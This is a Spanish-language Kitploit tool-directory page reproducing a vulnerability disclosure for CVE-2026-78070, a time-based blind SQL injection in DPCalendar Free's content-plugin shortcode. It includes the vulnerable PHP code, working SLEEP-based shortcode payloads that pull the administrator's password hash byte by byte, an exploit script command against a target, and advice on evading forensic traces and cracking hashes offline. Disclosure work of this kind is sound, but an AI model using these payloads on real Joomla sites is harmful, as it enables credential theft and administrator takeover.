Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-78070 — Inyección SQL mediante el shortcode ORDER BY en plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
Herramientas/GitHubGitHub/toanln-cov/cve-2026-78070
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

Inyección SQL mediante el shortcode ORDER BY en plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Ver Repositorio
14hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL mediante Shortcode ORDER BY en plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Un usuario con rol Autor extrae la base de datos completa mediante inyección ciega basada en tiempo

CVE CVSS CWE-89 Affected Fixed Researcher


RESUMEN

El plugin de contenido plg_content_dpcalendar analiza los shortcodes {{#events order="..."}}{{/events}} incrustados en el cuerpo de los artículos de Joomla. El valor del parámetro se pasa directamente a , omitiendo por completo la lista blanca de del propio modelo. El valor se inserta luego en una cláusula SQL protegida únicamente por — insuficiente para bloquear la inyección mediante subconsultas.

order
EventsModel::setState('list.ordering', ...)
populateState()
ORDER BY
DatabaseDriver::escape()

Un usuario con rol Autor que pueda crear o editar artículos puede explotar esto para extraer datos de la base de datos mediante inyección SQL ciega basada en tiempo. La inyección SQL se ejecuta dentro de la propia solicitud de guardado del artículo del atacante — sin interacción de la víctima, sin artículo publicado y sin participación de un administrador.


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Nota: Esta vulnerabilidad es distinta de CVE-2026-57831 (SQLi no autenticada en EventsModel.php mediante filter_created_by, corregida en v10.11.2). El hallazgo actual afecta al plugin de contenido (plg_content_dpcalendar) — un archivo diferente, un parámetro diferente, y no estaba parcheado en la última versión disponible en el momento del descubrimiento.


DETALLES DE LA VULNERABILIDAD

Tipo: Inyección SQL (CWE-89) — Ciega basada en tiempo
Autenticación requerida: Rol Autor (puede crear/editar artículos de Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
Archivo: plg_content_dpcalendar/src/Extension/DPCalendar.php

Causa raíz

El analizador de shortcodes del plugin itera sobre todos los parámetros clave-valor en una etiqueta {{#events}} y establece el estado del modelo directamente, omitiendo por completo la validación de la lista blanca de populateState():

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — MANEJO VULNERABLE DE PARÁMETROS

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNERABLE: establece el estado de ordenación directamente desde la entrada del usuario
            // omite por completo la lista blanca de populateState()
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

El valor contaminado fluye hacia EventsModel::getListQuery() con solo el escape de comillas aplicado — insuficiente para bloquear la inyección mediante subconsultas en un contexto ORDER BY:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUCCIÓN DEL ORDER BY

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() solo escapa comillas — NO previene la inyección mediante subconsultas
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Una subconsulta como (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) pasa a través de $db->escape() sin modificaciones porque no contiene caracteres de comillas. El SQL resultante se convierte en:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

La expresión ORDER BY solo se evalúa cuando el conjunto de resultados no está vacío — lo que requiere al menos un evento futuro publicado de DPCalendar, la condición estándar para cualquier instalación activa de DPCalendar.

Comportamiento clave: La inyección SQL se ejecuta dentro de la propia solicitud POST de guardado/edición — el retardo de tiempo es observable directamente en la respuesta HTTP (redirección 303). El atacante mide el tiempo de respuesta de su propia solicitud POST; no se requiere visualización de artículos, recarga de página ni paso de publicación.


PRUEBA DE CONCEPTO

Requisitos previos:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Cuenta con rol Autor (puede crear/editar artículos)
  • Plugin plg_content_dpcalendar habilitado (activado por defecto en la instalación de DPCalendar)
  • Al menos 1 evento de DPCalendar publicado con una start_date futura
  • Un elemento de menú de frontend Enviar artículo creado por el administrador

Escenario: SQLi ciega basada en tiempo → Extracción de credenciales de administrador

0. Precondición — debe existir al menos un evento de DPCalendar publicado con fecha de inicio futura

El plugin establece filter.state = 1 y list.start-date = NOW() antes de construir la consulta. Las subconsultas ORDER BY solo se ejecutan cuando el conjunto de resultados contiene filas; si 0 filas coinciden, SLEEP() nunca se llama.

1. Iniciar sesión como usuario con rol Autor

Autenticarse en el frontend de Joomla usando una cuenta de Autor. No se requiere acceso de administrador en ningún momento de este ataque.

2. Enviar artículo con payload de condición TRUE — observar retardo de 5 segundos

Navegar al formulario de envío de artículos del frontend (/submit-article). Insertar el siguiente payload en el cuerpo del artículo y hacer clic en Guardar:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

La propia respuesta POST se retrasa ~5 segundos. onContentPrepare se ejecuta durante el pipeline de guardado de Joomla, invocando la consulta vulnerable antes de que se emita la redirección 303. No se necesita visualización del artículo ni publicación.

3. La condición FALSE confirma una diferenciación de tiempo limpia

Reemplazar 1=1 por 1=2 (siempre falso). SLEEP no se activa y la respuesta regresa inmediatamente (~100 ms), confirmando una separación de tiempo fiable.

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Extraer el hash de la contraseña del administrador — byte a byte

Usar comparaciones ASCII(SUBSTRING(...)) para leer cada carácter. Se deben evitar las comillas simples (la expresión regular del shortcode [^"\']* se detiene en cualquier carácter de comilla); usar valores ASCII decimales en su lugar:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Tiempo de respuesta ~5s → TRUE → char[1] = '$' (ASCII 36 — primer carácter de un hash bcrypt $2y$10$...).

5. Extracción automatizada — volcado completo de credenciales de administrador

Ejecutar exploit/exploit.py para automatizar el bucle de extracción byte a byte:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

El script inicia sesión como Autor, envía payloads manipulados y extrae el nombre de usuario, el correo electrónico y el hash completo de 60 caracteres de la contraseña bcrypt. Resultado confirmado en laboratorio: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

CondiciónTiempo de respuesta
TRUE: ASCII(SUBSTR(password,1,1))=36~5.000 ms
FALSE: ASCII(SUBSTR(password,1,1))=65~100 ms

IMPACTO

  1. Acceso de lectura completo a la base de datos — Un usuario con rol Autor puede extraer cualquier dato de la base de datos de Joomla, incluidos los hashes de contraseñas de administradores (jos_users.password), tokens de sesión y correos electrónicos de usuarios, mediante inyección SQL ciega basada en tiempo.
  2. No se requiere interacción del administrador — La inyección SQL se ejecuta dentro de la propia solicitud de guardado del artículo del atacante. Ninguna víctima necesita ver o interactuar con ningún contenido.
  3. Rastro forense mínimo — El artículo malicioso nunca necesita ser publicado. Un artículo en borrador (state=0) es suficiente, dejando casi ninguna evidencia visible del ataque.
  4. Descifrado de credenciales sin conexión — Los hashes bcrypt extraídos pueden descifrarse sin conexión con Hashcat (modo 3200) o John the Ripper, lo que potencialmente conduce a la toma de control total de la cuenta de administrador.

REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • Aviso de GitHub: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • Repositorio del proveedor: https://github.com/Digital-Peak/DPCalendar-Free
Descargar herramienta